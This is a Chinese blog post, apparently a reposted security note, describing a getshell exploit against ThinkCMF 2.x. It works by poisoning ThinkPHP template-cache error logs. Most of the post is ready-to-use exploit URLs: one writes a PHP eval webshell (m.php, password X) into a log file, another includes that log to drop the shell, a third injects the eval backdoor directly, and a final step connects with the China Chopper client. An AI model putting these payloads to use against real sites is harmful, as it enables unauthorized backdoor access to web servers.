zoukankan      html  css  js  c++  java
  • ThinkCMF缓存Getshell

    0x00:简介

    参考链接

    https://mp.weixin.qq.com/s/3d7YrTq0vFSKXV6u0Hjnnw

    由于thinkcmf2.x使用了thinkphp3.x作为开发框架,默认情况下启用了报错日志并且开启了模板缓存,导致可以使用加载一个不存在的模板来将生成一句话的PHP代码写入data/runtime/Logs/Portal目录下的日志文件中,再次包含该日志文件即可在网站根目录下生成一句话木马m.php

    日志文件格式为YY_MM_DD.log,如当前日期为2019年12月12日,日志文件为19_12_12.log,完整路径为

    data/runtime/Logs/Portal/19_12_12.log

     0x01:漏洞测试

    测试环境

    windows XP

    PHP 5.4.16

    Thinkcmf 2.x.x

    Payload1

    http://target.domain/?a=display&templateFile=%3C?php%20file_put_contents(%27m.php%27,%27%3C%3fphp+eval($_POST[%22X%22])%3b%3F%3E%27);die();?%3E
    或者
    http://target.domain/?a=display&templateFile=<?php file_put_contents('m.php','<?php+eval($_POST["X"]);?>');die();?>
    

     Payload2

    http://target.domain/?a=display&templateFile=data/runtime/Logs/Portal/YY_MM_DD.log
    
    http://target.domain/?a=display&templateFile=data/runtime/Logs/Portal/20_04_26.log

    即可在http://target.domain/根目录生成m.php,密码是X

    Payload3 

    访问

    http://target.domain/?a=display&templateFile=%3C%3F%70%68%70%20%65%76%61%6C%28%24%5F%50%4F%53%54%5BX%5D%29%3B%3F%3E
    或
    http://target.domain/?a=display&templateFile=<?php eval($_POST[X]);?>

     Payload4

    链接菜刀

  • 相关阅读:
    Python学习笔记9:变量作用域和列表
    Python文摘:argmin/argmax 与 idxmin/idxmax
    SQL学习笔记8
    SQL学习笔记7
    SQL学习笔记6
    SQL学习笔记5
    SQL文摘:sql(join中on与where区别)
    SQL学习笔记4
    SQL学习笔记3
    机器学习基石第三讲 Types of Learning
  • 原文地址:https://www.cnblogs.com/liqik/p/12782117.html
Copyright © 2011-2022 走看看